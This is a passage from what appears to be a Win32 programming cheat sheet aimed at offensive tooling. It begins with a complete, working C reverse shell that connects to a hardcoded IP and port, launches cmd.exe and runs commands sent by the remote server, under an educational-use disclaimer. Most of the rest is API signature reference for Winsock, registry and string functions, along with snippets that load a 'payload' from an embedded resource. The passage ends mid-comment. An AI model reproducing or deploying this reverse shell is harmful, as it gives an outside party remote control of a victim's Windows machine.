▓██▒▒██████▒▒░▓█▒░██▓ 633 | * ▒ ▒▓▒ ▒ ░░ ▒░ ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒ 634 | * ░ ░▒ ░ ░░ ░░ ░ ▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░▒ ░ ░ ▒ ░▒░ ░ 635 | * ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ 636 | * ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 637 | * Written by: snowcra5h@icloud.com (snowcra5h) 2023 638 | * 639 | * This program establishes a reverse shell via the Winsock2 library. It is 640 | * designed to establish a connection to a specified remote server, and execute commands 641 | * received from the server on the local machine, giving the server 642 | * control over the local machine. 643 | * 644 | * Compile command (using MinGW on Wine): 645 | * wine gcc.exe windows.c -o windows.exe -lws2_32 646 | * 647 | * This code is intended for educational and legitimate penetration testing purposes only. 648 | * Please use responsibly and ethically. 649 | * 650 | */ 651 | 652 | #include 653 | #include 654 | #include 655 | #include 656 | #include 657 | 658 | const char* const PORT = "1337"; 659 | const char* const IP = "10.37.129.2"; 660 | 661 | typedef struct { 662 | HANDLE hPipeRead; 663 | HANDLE hPipeWrite; 664 | SOCKET sock; 665 | } ThreadParams; 666 | 667 | DWORD WINAPI OutputThreadFunc(LPVOID data); 668 | DWORD WINAPI InputThreadFunc(LPVOID data); 669 | void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock); 670 | 671 | int main(int argc, char** argv) { 672 | WSADATA wsaData; 673 | int err = WSAStartup(MAKEWORD(2, 2), &wsaData); 674 | if (err != 0) { 675 | fprintf(stderr, "WSAStartup failed: %d\n", err); 676 | return 1; 677 | } 678 | 679 | SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); 680 | if (sock == INVALID_SOCKET) { 681 | fprintf(stderr, "Socket function failed with error = %d\n", WSAGetLastError()); 682 | WSACleanup(); 683 | return 1; 684 | } 685 | 686 | struct addrinfo hints = { 0 }; 687 | hints.ai_family = AF_INET; 688 | hints.ai_socktype = SOCK_STREAM; 689 | struct addrinfo* result; 690 | err = getaddrinfo(IP, PORT, &hints, &result); 691 | if (err != 0) { 692 | fprintf(stderr, "Failed to get address info: %d\n", err); 693 | CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock); 694 | return 1; 695 | } 696 | 697 | if (WSAConnect(sock, result->ai_addr, (int)result->ai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) { 698 | fprintf(stderr, "Failed to connect.\n"); 699 | CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock); 700 | return 1; 701 | } 702 | 703 | SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; 704 | HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite; 705 | if (!CreatePipe(&hOutputRead, &hOutputWrite, &sa, 0) || !CreatePipe(&hInputRead, &hInputWrite, &sa, 0)) { 706 | fprintf(stderr, "Failed to create pipe.\n"); 707 | CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock); 708 | return 1; 709 | } 710 | 711 | STARTUPINFO startupInfo = { 0 }; 712 | startupInfo.cb = sizeof(startupInfo); 713 | startupInfo.dwFlags = STARTF_USESTDHANDLES; 714 | startupInfo.hStdInput = hInputRead; 715 | startupInfo.hStdOutput = hOutputWrite; 716 | startupInfo.hStdError = hOutputWrite; 717 | PROCESS_INFORMATION processInfo; 718 | 719 | WCHAR cmd[] = L"cmd.exe /k"; 720 | if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)) { 721 | fprintf(stderr, "Failed to create process.\n"); 722 | CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock); 723 | return 1; 724 | } 725 | 726 | CloseHandle(hInputRead); 727 | CloseHandle(hOutputWrite); 728 | CloseHandle(processInfo.hThread); 729 | ThreadParams outputParams = { hOutputRead, NULL, sock }; 730 | ThreadParams inputParams = { NULL, hInputWrite, sock }; 731 | HANDLE hThread[2]; 732 | hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, &outputParams, 0, NULL); 733 | hThread[1] = CreateThread(NULL, 0, InputThreadFunc, &inputParams, 0, NULL); 734 | 735 | WaitForMultipleObjects(2, hThread, TRUE, INFINITE); 736 | CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock); 737 | return 0; 738 | } 739 | 740 | void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) { 741 | if (hInputWrite != NULL) CloseHandle(hInputWrite); 742 | if (hInputRead != NULL) CloseHandle(hInputRead); 743 | if (hOutputWrite != NULL) CloseHandle(hOutputWrite); 744 | if (hOutputRead != NULL) CloseHandle(hOutputRead); 745 | if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess); 746 | if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread); 747 | if (result != NULL) freeaddrinfo(result); 748 | if (sock != NULL) closesocket(sock); 749 | WSACleanup(); 750 | } 751 | 752 | DWORD WINAPI OutputThreadFunc(LPVOID data) { 753 | ThreadParams* params = (ThreadParams*)data; 754 | char buffer[4096]; 755 | DWORD bytesRead; 756 | while (ReadFile(params->hPipeRead, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { 757 | buffer[bytesRead] = '\0'; 758 | send(params->sock, buffer, bytesRead, 0); 759 | } 760 | return 0; 761 | } 762 | 763 | DWORD WINAPI InputThreadFunc(LPVOID data) { 764 | ThreadParams* params = (ThreadParams*)data; 765 | char buffer[4096]; 766 | int bytesRead; 767 | while ((bytesRead = recv(params->sock, buffer, sizeof(buffer) - 1, 0)) > 0) { 768 | DWORD bytesWritten; 769 | WriteFile(params->hPipeWrite, buffer, bytesRead, &bytesWritten, NULL); 770 | } 771 | return 0; 772 | } 773 | ``` 774 | [WSAStartup](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup) 775 | ```c 776 | int WSAStartup( 777 | WORD wVersionRequired, 778 | LPWSADATA lpWSAData 779 | ); // Initializes the Winsock library for an application. Must be called before any other Winsock functions. 780 | ``` 781 | [WSAConnect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaconnect) 782 | ```c 783 | int WSAConnect( 784 | SOCKET s, // Descriptor identifying a socket. 785 | const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target. 786 | int namelen, // Length of the sockaddr structure. 787 | LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection. 788 | LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection. 789 | LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction. 790 | LPQOS lpGQOS // Pointer to flow specs for the socket group. 791 | ); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process. 792 | ``` 793 | [WSASend](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasend) 794 | ```c 795 | int WSASend( 796 | SOCKET s, // Descriptor identifying a connected socket. 797 | LPWSABUF lpBuffers, // Array of buffers for data to be sent. 798 | DWORD dwBufferCount, // Number of buffers in the lpBuffers array. 799 | LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call. 800 | DWORD dwFlags, // Flags to modify the behavior of the function call. 801 | LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. 802 | LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed. 803 | ); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer. 804 | ``` 805 | [WSARecv](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsarecv) 806 | ```c 807 | int WSARecv( 808 | SOCKET s, // Descriptor identifying a connected socket. 809 | LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. 810 | DWORD dwBufferCount, // Number of buffers in the lpBuffers array. 811 | LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. 812 | LPDWORD lpFlags, // Flags to modify the behavior of the function call. 813 | LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. 814 | LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. 815 | ); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer. 816 | ``` 817 | [WSASendTo](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasendto) 818 | ```c 819 | int WSASendTo( 820 | SOCKET s, // Descriptor identifying a socket. 821 | LPWSABUF lpBuffers, // Array of buffers containing the data to be sent. 822 | DWORD dwBufferCount, // Number of buffers in the lpBuffers array. 823 | LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call. 824 | DWORD dwFlags, // Flags to modify the behavior of the function call. 825 | const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address. 826 | int iToLen, // Size of the address in lpTo. 827 | LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. 828 | LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed. 829 | ); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM. 830 | ``` 831 | [WSARecvFrom](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsarecvfrom) 832 | ```c 833 | int WSARecvFrom( 834 | SOCKET s, // Descriptor identifying a socket. 835 | LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. 836 | DWORD dwBufferCount, // Number of buffers in the lpBuffers array. 837 | LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. 838 | LPDWORD lpFlags, // Flags to modify the behavior of the function call. 839 | struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation. 840 | LPINT lpFromlen, // Pointer to the size of the lpFrom address structure. 841 | LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. 842 | LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. 843 | ); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM. 844 | ``` 845 | [WSAAsyncSelect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaasyncselect) 846 | ```c 847 | int WSAAsyncSelect( 848 | SOCKET s, // Descriptor identifying the socket. 849 | HWND hWnd, // Handle to the window which should receive the message. 850 | unsigned int wMsg, // Message to be received when an event occurs. 851 | long lEvent // Bitmask specifying a group of conditions to be monitored. 852 | ); // Requests Windows message - based notification of network events for a socket. 853 | ``` 854 | [socket](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket) 855 | ```c 856 | SOCKET socket( 857 | int af, 858 | int type, 859 | int protocol 860 | ); // Creates a new socket for network communication. 861 | ``` 862 | [bind](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind) 863 | ```c 864 | int bind( 865 | SOCKET s, 866 | const struct sockaddr *name, 867 | int namelen 868 | ); // Binds a socket to a specific local address and port. 869 | ``` 870 | [listen](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-listen) 871 | ```c 872 | int listen( 873 | SOCKET s, 874 | int backlog 875 | ); // Sets a socket to listen for incoming connections. 876 | ``` 877 | [accept](https://learn.microsoft.com/en-us/windows/win32/api/Winsock2/nf-winsock2-accept) 878 | ```c 879 | SOCKET accept( 880 | SOCKET s, 881 | struct sockaddr *addr, 882 | int *addrlen 883 | ); // Accepts a new incoming connection on a listening socket. 884 | ``` 885 | [connect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect) 886 | ```c 887 | int connect( 888 | SOCKET s, 889 | const struct sockaddr *name, 890 | int namelen 891 | ); // Initiates a connection on a socket to a remote address. 892 | ``` 893 | [send](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-send) 894 | ```c 895 | int send( 896 | SOCKET s, 897 | const char *buf, 898 | int len, 899 | int flags 900 | ); // Sends data on a connected socket. 901 | ``` 902 | [recv](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-recv) 903 | ```c 904 | int recv( 905 | SOCKET s, 906 | char *buf, 907 | int len, 908 | int flags 909 | ); // Receives data from a connected socket. 910 | ``` 911 | [closesocket](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-closesocket) 912 | ```c 913 | int closesocket( 914 | SOCKET s 915 | ); //Closes a socket and frees its resources. 916 | ``` 917 | [gethostbyname](https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-gethostbyname) 918 | ```c 919 | hostent* gethostbyname( 920 | const char* name // either a hostname or an IPv4 address in dotted-decimal notation 921 | ); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo 922 | ``` 923 | 924 | ### Registry Operations 925 | [RegOpenKeyExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw) 926 | ```c 927 | LONG RegOpenKeyExW( 928 | HKEY hKey, 929 | LPCWTSTR lpSubKey, 930 | DWORD ulOptions, 931 | REGSAM samDesired, 932 | PHKEY phkResult 933 | ); // Opens the specified registry key. 934 | ``` 935 | [RegQueryValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvaluew) 936 | ```c 937 | LONG RegQueryValueExW( 938 | HKEY hKey, 939 | LPCWTSTR lpValueName, 940 | LPDWORD lpReserved, 941 | LPDWORD lpType, 942 | LPBYTE lpData, 943 | LPDWORD lpcbData 944 | ); // Retrieves the type and data of the specified value name associated with an open registry key. 945 | ``` 946 | [RegSetValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexw) 947 | ```c 948 | LONG RegSetValueEx( 949 | HKEY hKey, 950 | LPCWTSTR lpValueName, 951 | DWORD Reserved, 952 | DWORD dwType, 953 | const BYTE *lpData, 954 | DWORD cbData 955 | ); // Sets the data and type of the specified value name associated with an open registry key. 956 | ``` 957 | [RegCloseKey](https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regclosekey) 958 | ```c 959 | LONG RegCloseKey( 960 | HKEY hKey 961 | ); // Closes a handle to the specified registry key. 962 | ``` 963 | [RegCreateKeyExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa) 964 | ```c 965 | LSTATUS RegCreateKeyExA( 966 | [in] HKEY hKey, 967 | [in] LPCSTR lpSubKey, 968 | DWORD Reserved, 969 | [in, optional] LPSTR lpClass, 970 | [in] DWORD dwOptions, 971 | [in] REGSAM samDesired, 972 | [in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes, 973 | [out] PHKEY phkResult, 974 | [out, optional] LPDWORD lpdwDisposition 975 | ); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive. 976 | ``` 977 | [RegSetValueExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa) 978 | ```c 979 | LSTATUS RegSetValueExA( 980 | [in] HKEY hKey, 981 | [in, optional] LPCSTR lpValueName, 982 | DWORD Reserved, 983 | [in] DWORD dwType, 984 | [in] const BYTE *lpData, 985 | [in] DWORD cbData 986 | ); // Sets the data and type of a specified value under a registry key. 987 | ``` 988 | [RegCreateKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya) 989 | ```c 990 | LSTATUS RegCreateKeyA( 991 | [in] HKEY hKey, 992 | [in, optional] LPCSTR lpSubKey, 993 | [out] PHKEY phkResult 994 | ); // Creates the specified registry key. If the key already exists in the registry, the function opens it. 995 | ``` 996 | [RegDeleteKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regdeletekeya) 997 | ```c 998 | LSTATUS RegDeleteKeyA( 999 | [in] HKEY hKey, 1000 | [in] LPCSTR lpSubKey 1001 | ); // Deletes a subkey and its values. Note that key names are not case sensitive. 1002 | ``` 1003 | [NtRenameKey](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntrenamekey) 1004 | ```c 1005 | __kernel_entry NTSTATUS NtRenameKey( 1006 | [in] HANDLE KeyHandle, 1007 | [in] PUNICODE_STRING NewName 1008 | ); // Changes the name of the specified registry key. 1009 | ``` 1010 | 1011 | ### Error Handling 1012 | [WSAGetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsagetlasterror) 1013 | ```c 1014 | int WSAGetLastError( 1015 | void 1016 | ); // Returns the error status for the last Windows Sockets operation that failed. 1017 | ``` 1018 | [WSASetLastError](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsasetlasterror) 1019 | ```c 1020 | void WSASetLastError( 1021 | int iError 1022 | ); // Sets the error status for the last Windows Sockets operation. 1023 | ``` 1024 | [WSAGetOverlappedResult](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsagetoverlappedresult) 1025 | ```c 1026 | BOOL WSAGetOverlappedResult( 1027 | SOCKET s, 1028 | LPWSAOVERLAPPED lpOverlapped, 1029 | LPDWORD lpcbTransfer, 1030 | BOOL fWait, 1031 | LPDWORD lpdwFlags 1032 | ); // Determines the results of an overlapped operation on the specified socket. 1033 | ``` 1034 | [WSAIoctl](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaioctl) 1035 | ```c 1036 | int WSAIoctl( 1037 | SOCKET s, 1038 | DWORD dwIoControlCode, 1039 | LPVOID lpvInBuffer, 1040 | DWORD cbInBuffer, 1041 | LPVOID lpvOutBuffer, 1042 | DWORD cbOutBuffer, 1043 | LPDWORD lpcbBytesReturned, 1044 | LPWSAOVERLAPPED lpOverlapped, 1045 | LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine 1046 | ); // Controls the mode of a socket. 1047 | ``` 1048 | [WSACreateEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacreateevent) 1049 | ```c 1050 | WSAEVENT WSACreateEvent( 1051 | void 1052 | ); // Creates a new event object. 1053 | ``` 1054 | [WSASetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasetevent) 1055 | ```c 1056 | BOOL WSASetEvent( 1057 | WSAEVENT hEvent 1058 | ); // Sets the state of the specified event object to signaled. 1059 | ``` 1060 | [WSAResetEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaresetevent) 1061 | ```c 1062 | BOOL WSAResetEvent( 1063 | WSAEVENT hEvent 1064 | ); // Sets the state of the specified event object to nonsignaled. 1065 | ``` 1066 | [WSACloseEvent](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsacloseevent) 1067 | ```c 1068 | BOOL WSACloseEvent( 1069 | WSAEVENT hEvent 1070 | ); // Closes an open event object handle. 1071 | ``` 1072 | [WSAWaitForMultipleEvents](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsawaitformultipleevents) 1073 | ```c 1074 | DWORD WSAWaitForMultipleEvents( 1075 | DWORD cEvents, 1076 | const WSAEVENT *lphEvents, 1077 | BOOL fWaitAll, 1078 | DWORD dwTimeout, 1079 | BOOL fAlertable 1080 | ); // Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses. 1081 | ``` 1082 | 1083 | ### Resource Management 1084 | [FindResource](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea) 1085 | ```c 1086 | HRSRC FindResource( 1087 | [in, optional] HMODULE hModule, // A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process. 1088 | [in] LPCSTR lpName, // The name of the resource. 1089 | [in] LPCSTR lpType // The resource type. 1090 | ); // Determines the location of a resource with the specified type and name in the specified module. 1091 | ``` 1092 | ```c 1093 | HRSRC res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA); 1094 | ``` 1095 | [LoadResource](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource) 1096 | ```c 1097 | HGLOBAL LoadResource( 1098 | [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource. 1099 | [in] HRSRC hResInfo // A handle to the resource to be loaded. 1100 | ); // Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory. 1101 | ``` 1102 | ```c 1103 | HGLOBAL resHandle = resHandle = LoadResource(NULL, res); 1104 | ``` 1105 | [LockResource](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-lockresource) 1106 | ```c 1107 | LPVOID LockResource( 1108 | [in] HGLOBAL hResData // A handle to the resource to be accessed 1109 | ); // Retrieves a pointer to the specified resource in memory. 1110 | ``` 1111 | ```c 1112 | unsigned char * payload = (char *) LockResource(resHandle); 1113 | ``` 1114 | [SizeofResource](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-sizeofresource) 1115 | ```c 1116 | DWORD SizeofResource( 1117 | [in, optional] HMODULE hModule, // A handle to the module whose executable file contains the resource 1118 | [in] HRSRC hResInfo // A handle to the resource. This handle must be created by using FindResource 1119 | ); // Retrieves the size, in bytes, of the specified resource. 1120 | ``` 1121 | ```c 1122 | unsigned int payload_len = SizeofResource(NULL, res); 1123 | ``` 1124 | --- 1125 | 1126 | ## Unicode String Functions 1127 | ```c 1128 | #include // for wide character string routines 1129 | ``` 1130 | 1131 | ### String Length 1132 | ```c 1133 | size_t wcslen( 1134 | const wchar_t *str 1135 | ); // Returns the length of the given wide string. 1136 | ``` 1137 | 1138 | ### String Copy 1139 | [wcscpy] 1140 | ```c 1141 | wchar_t *wcscpy( 1142 | wchar_t *dest, 1143 | const wchar_t *src 1144 | ); // Copies the wide string from src to dest. 1145 | ``` 1146 | [wcsncpy] 1147 | ```c 1148 | wchar_t *wcsncpy( 1149 | wchar_t *dest, 1150 | const wchar_t *src, 1151 | size_t count 1152 | ); // Copies at most count characters from the wide string src to dest. 1153 | ``` 1154 | 1155 | ### String Concatenation 1156 | [wcscat] 1157 | ```c 1158 | wchar_t *wcscat( 1159 | wchar_t *dest, 1160 | const wchar_t *src 1161 | ); // Appends the wide string src to the end of the wide string dest. 1162 | ``` 1163 | [wcsncat] 1164 | ```c 1165 | wchar_t *wcsncat( 1166 | wchar_t *dest, 1167 | const wchar_t *src, 1168 | size_t count 1169 | ); // Appends at most count characters from the wide string src to the end of the wide string dest. 1170 | ``` 1171 | 1172 | ### String Comparison 1173 | [wcscmp] 1174 | ```c 1175 | int wcscmp( 1176 | const wchar_t *str1, 1177 | const wchar_t *str2 1178 | ); // Compares two wide strings lexicographically. 1179 | ``` 1180 | [wcsncmp] 1181 | ```c 1182 | int wcsncmp( 1183 | const wchar_t *str1, 1184 | const wchar_t *str2, 1185 | size_t count 1186 | ); // Compares up to count characters of two wide strings lexicographically. 1187 | ``` 1188 | [_wcsicmp] 1189 | ```c 1190 | int _wcsicmp( 1191 | const wchar_t *str1, 1192 | const wchar_t *str2 1193 | ); // Compares two wide strings lexicographically, ignoring case. 1194 | ``` 1195 | [_wcsnicmp] 1196 | ```c 1197 | int _wcsnicmp( 1198 | const wchar_t *str1, 1199 | const wchar_t *str2, 1200 | size_t count 1201 | ); // Compares up to count characters of two wide strings lexicographically, ignoring case. 1202 | ``` 1203 | 1204 | ### String Search 1205 | [wcschr] 1206 | ```c 1207 | wchar_t *wcschr( 1208 | const wchar_t *str, 1209 | wchar_t c 1210 | ); // Finds the first occurrence of the wide character c in the wide string str. 1211 | ``` 1212 | [wcsrchr] 1213 | ```c 1214 | wchar_t *wcsrchr( 1215 | const wchar_t *str, 1216 | wchar_t c 1217 | ); // Finds the last occurrence of the wide character c in the wide string str. 1218 | ``` 1219 | [wcspbrk] 1220 | ```c 1221 | wchar_t *wcspbrk( 1222 | const wchar_t *str1, 1223 | const wchar_t *str2 1224 | ); // Finds the first occurrence in the wide string str1 of any character from the wide string str2. 1225 | ``` 1226 | [wcsstr] 1227 | ```c 1228 | wchar_t *wcsstr( 1229 | const wchar_t *str1, 1230 | const wchar_t *str2 1231 | ); // Finds the first occurrence of the wide string str2 in the wide string str1. 1232 | ``` 1233 | [wcstok] 1234 | ```c 1235 | wchar_t *wcstok( 1236 | wchar_t *str, 1237 | const wchar_t *delimiters 1238 | ); // Splits the wide string str into tokens based on the delimiters. 1239 | ``` 1240 | 1241 | ### Character Classification and Conversion 1242 | [towupper] 1243 | ```c 1244 | wint_t towupper( 1245 | wint_t c 1246 | ); // Converts a wide character to uppercase. 1247 | ``` 1248 | [towlower] 1249 | ```c 1250 | wint_t towlower( 1251 | wint_t c 1252 | ); // Converts a wide character to lowercase. 1253 | ``` 1254 | [iswalpha] 1255 | ```c 1256 | int iswalpha( 1257 | wint_t c 1258 | ); // Checks if the wide character is an alphabetic character. 1259 | ``` 1260 | [iswdigit] 1261 | ```c 1262 | int iswdigit( 1263 | wint_t c 1264 | ); // Checks if the wide character is a decimal digit. 1265 | ``` 1266 | [iswalnum] 1267 | ```c 1268 | int iswalnum( 1269 | wint_t c 1270 | ); // Checks if the wide character is an alphanumeric character. 1271 | ``` 1272 | [iswspace] 1273 | ```c 1274 | int iswspace( 1275 | wint_t c 1276 | ); // Checks if the wide character is a whitespace character. 1277 | ``` 1278 | [iswxdigit] 1279 | ```c 1280 | int iswxdigit( 1281 | wint_t c 1282 | ); // Checks if the wide character is a valid hexadecimal digit. 1283 | ``` 1284 | 1285 | --- 1286 | 1287 | ## Win32 Structs Cheat Sheet 1288 | ### Common Structs 1289 | [**`SYSTEM_INFO`**](https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-system_info) 1290 | ```cpp 1291 | #include 1292 | // Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size. 1293 | typedef struct _SYSTEM_INFO { 1294 | union { 1295 | DWORD dwOemId; 1296 | struct { 1297 | WORD wProcessorArchitecture; 1298 | WORD wReserved; 1299 | } DUMMYSTRUCTNAME; 1300 | } DUMMYUNIONNAME; 1301 | DWORD dwPageSize; 1302 | LPVOID lpMinimumApplicationAddress; 1303 | LPVOID lpMaximumApplicationAddress; 1304 | DWORD_PTR dwActiveProcessorMask; 1305 | DWORD dwNumberOfProcessors; 1306 | DWORD dwProcessorType; 1307 | DWORD dwAllocationGranularity; 1308 | WORD wProcessorLevel; 1309 | WORD wProcessorRevision; 1310 | } SYSTEM_INFO; 1311 | ``` 1312 | [**`FILETIME`**](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime) 1313 | ```cpp 1314 | #include 1315 | // Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time. 1316 | typedef struct _FILETIME { 1317 | DWORD dwLowDateTime; 1318 | DWORD dwHighDateTime; 1319 | } FILETIME; 1320 | ``` 1321 | [**`STARTUPINFO`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa) 1322 | ```cpp 1323 | #include 1324 | // Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. 1325 | typedef struct _STARTUPINFOA { 1326 | DWORD cb; 1327 | LPSTR lpReserved; 1328 | LPSTR lpDesktop; 1329 | LPSTR lpTitle; 1330 | DWORD dwX; 1331 | DWORD dwY; 1332 | DWORD dwXSize; 1333 | DWORD dwYSize; 1334 | DWORD dwXCountChars; 1335 | DWORD dwYCountChars; 1336 | DWORD dwFillAttribute; 1337 | DWORD dwFlags; 1338 | WORD wShowWindow; 1339 | WORD cbReserved2; 1340 | LPBYTE lpReserved2; 1341 | HANDLE hStdInput; 1342 | HANDLE hStdOutput; 1343 | HANDLE hStdError; 1344 | } STARTUPINFOA, *LPSTARTUPINFOA; 1345 | ``` 1346 | [**`PROCESS_INFORMATION`**](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_information) 1347 | ```cpp 1348 | #include 1349 | // Contains information about a newly created process and its primary thread. 1350 | typedef struct _PROCESS_INFORMATION { 1351 | HANDLE hProcess; 1352 | HANDLE hThread; 1353 | DWORD dwProcessId; 1354 | DWORD dwThreadId; 1355 | } PROCESS_INFORMATION, *LPPROCESS_INFORMATION; 1356 | ``` 1357 | [**`PROCESSENTRY32`**](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32) 1358 | ```c 1359 | #include 1360 | typedef struct tagPROCESSENTRY32 { 1361 | DWORD dwSize; 1362 | DWORD cntUsage; 1363 | DWORD th32ProcessID; 1364 | ULONG_PTR th32DefaultHeapID; 1365 | DWORD th32ModuleID; 1366 | DWORD cntThreads; 1367 | DWORD th32ParentProcessID; 1368 | LONG pcPriClassBase; 1369 | DWORD dwFlags; 1370 | CHAR szExeFile[MAX_PATH]; 1371 | } PROCESSENTRY32; 1372 | ``` 1373 | 1374 | [**`SECURITY_ATTRIBUTES`**](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)) 1375 | ```cpp 1376 | // Determines 